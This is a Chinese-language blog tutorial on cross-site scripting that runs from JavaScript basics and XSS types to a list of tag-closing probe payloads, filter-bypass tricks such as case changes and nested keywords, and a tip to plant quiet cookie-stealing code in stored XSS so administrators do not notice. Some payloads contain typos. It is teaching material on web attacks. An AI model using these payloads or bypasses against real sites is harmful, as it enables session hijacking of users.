web渗透【7】XSS跨站脚本漏洞详解(1)

目录

 一、XSS漏洞基础讲解

 二、JavaScript基础知识

 三、XSS分类


 

一、XSS漏洞基础讲解

  XSS介绍:

    跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script

代码会被执行,从而达到恶意攻击用户的目的。

  特点:

    能注入恶意代码到用户的客户端浏览器的网页上,从而达到劫持用户会话的目的。

  什么是跨站脚本?

    介绍:跨站脚本(cross-site scripting,XSS)是一种安全攻击,其中,攻击者在看上去来源可靠的链接中恶意嵌入译码。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户

端脚本语言。

XSS脚本示例:

<html>
<title>xss test</title>
<body>
<script>alert(/xss/)</script>
</body>
</html>

会弹出: 

以上代码使用alert函数弹出来一个网页弹框,弹框内容就是/xss/,xss的输入也是可以是html代码,比如能让网站不停地刷新

<meta http-equiv="refresh" content="0";> 

也可以嵌入其他网页链接

<iframe src=http://xx.com with=0 height=0></iframe>

       XSS的危害

    窃取Cookies、蠕虫、钓鱼等等。

   二、JavaScript基础知识

  简介:JavaScript一种直译式脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型。它的解释器被称为JavaScript引擎,为浏览器的一部分,广泛用于客户端的脚本语言,最早是在HTML(标准通用标记语言下的一个应用)

网页上使用,用来给HTML网页增加动态功能。

  document对象

  它代表着当前的页面(文档),我们调用它的write()方法就能向该对象中写入内容,即:document.write(),可以在HTML引用外部js代码<script src=x.js></script>,其中x.js的内容如下:

      document.write("hello xxx");

      在标签、属性、元素这三种地方可能会调用。

  JavaScript变量

    定义变量

      var [变量]

      e.g  var x;  var a=1;  var b="hello";  var c=ture;

  JavaScript流程控制

    if-else控制语句

var a=20;
var b=10;
if(a>b){
alert("b=20");
}
else{
alert("b=10");
}

        switch控制语句

var x=10;
switch(x){
case 2:
    alert('1');
    break;
case 10:
    alert('10');
    break;
}

for循环:

<script>
for(var i=0;i<100;i++){
alert(1);
}
</script>

while循环:

<script>
var a=0;
while(a<100){
alert(1);
a++;
}
</script>

JavaScript函数:

function x(a,b){
var c=a+b;
return c;
}
var xx=x(1,2);
console.log(xx);

JavaScript事件

  onclick属性,点击事件

<html>
<head>
</head>
<title>xss test</title>
<body>
<script>
function x(){
alert(/xss/)
}
</script>
<h1 onclick="x()">This is a test!</h1>

</body>
</html>

三、XSS分类

  反射型、DOM型、存储型

  反射型

    介绍:XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

http://www.xx.com/src.asp?key="><script>alert(/xss/)</script>

  一般使用的时候是将构造好的URL发送给目标者,诱使其点击链接后触发攻击,但是这种的只能使用一次,非持久化的。

     存储型XSS

    比反射性的XSS更具有威胁性,并且可能影响到web服务器是我自身安全,这种的不需要用户自己点击特定的链接就可以执行,攻击者将恶意代码上传到服务器中,或存储在漏洞服务中,只要浏览器包含有这个恶意代码的问题,就会受到攻击。

攻击模型:

 

XSS漏洞发掘和绕过

  火狐中常用的XSS调试插件

     hackbar、firebug、tamper data、live http headers、editor cookie(编辑cookie)

XSS漏洞挖掘:

  挖掘方式:

    手工挖掘、工具挖掘、标签闭合、AWVS

手工挖掘XSS漏洞

  站点:http://www.xx.com/xss.php?id=1

  将payload分别添加到id=1的地方进行测试

  常测试的地方是有输入的地方,文件上传的地方、flash、、

  闭合标签:

 1 <script>alert(1)</script>
 2 "'><script>alert(1)</script>
 3 <img/src=@onerror=alert(1)/>
 4 "'><img/src=@onerrer=alert(1)/>
 5 'omouseover=alert(1) x='
 6 "onmouseover=alert(1) x="
 7 'onmousover=alert(1) x="
 8 javascript:alert(1)//
 9 data:text/html;base64,PHNjcmludD5==
10 "';alert(1)//
11 </script><script>alert(1)//
12 }x:expression(alert(1))
13 alert(1)//

工具挖掘XSS漏洞

  AWVS  netsparke  appscan  burp  xsser

  xsscrapy  bratexssr  OWASP Xemotix

   当插入的代码在标签的中间时,需要闭合标签

  当插入的代码在标签的属性时,e.g  <div value="123"><script>alert(1)</script>">

       要先找到位置,尝试闭合

  在留言的地方一般是找存在存储型的XSS必须挖的地方,在存储型的多个要输入内容的框时,我们需要对每个框都进行写入测试,一般不留弹框的代码,防止管理员发现,一般都是打cookie的代码,

  注意:闭合标签的时候要闭合他加载后的标签,对于文本域的标签加载前后都要闭合</textarea>

工具挖掘XSS漏洞

  AWVS  netsparke  appscan  burp  xsser

  xsscrapy  bratexssr  OWASP Xemotix

   当插入的代码在标签的中间时,需要闭合标签

  当插入的代码在标签的属性时,e.g  <div value="123"><script>alert(1)</script>">

  要先找到位置,尝试闭合

  在留言的地方一般是找存在存储型的XSS必须挖的地方,在存储型的多个要输入内容的框时,我们需要对每个框都进行写入测试,二一般不留弹框的代码,防止管理员发现,一般都是打cookie的代码,

  注意:闭合标签的时候要闭合他加载后的标签,对于文本域的标签加载前后都要闭合</textarea>

  常见的防XSS的代码

$x=preg_replace("/script/","",$x);
$x=preg_replace("/script/i","",$x);
$x=preg_replace("/alert/","",$x);
$x=preg_replace("/script/","",$x);
这里面,i是代表不区分大小写
上述的代码是指将检测到的关键字用空格替换
对于区分大小写我们可以对关键字进大小写的转换
对于替换成空格的我们可以重复覆盖,如:<SCRSCRRTPIPT>他将里面的一个替换成空格后还会剩下一个

XSS绕过限制

    当存在XSS但又有waf或过滤策略时,有以下几种绕过方法:

    1、绕过magic_quotes_gpc

    2、编码绕过

    3、改变大小写

    4、闭合标签

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值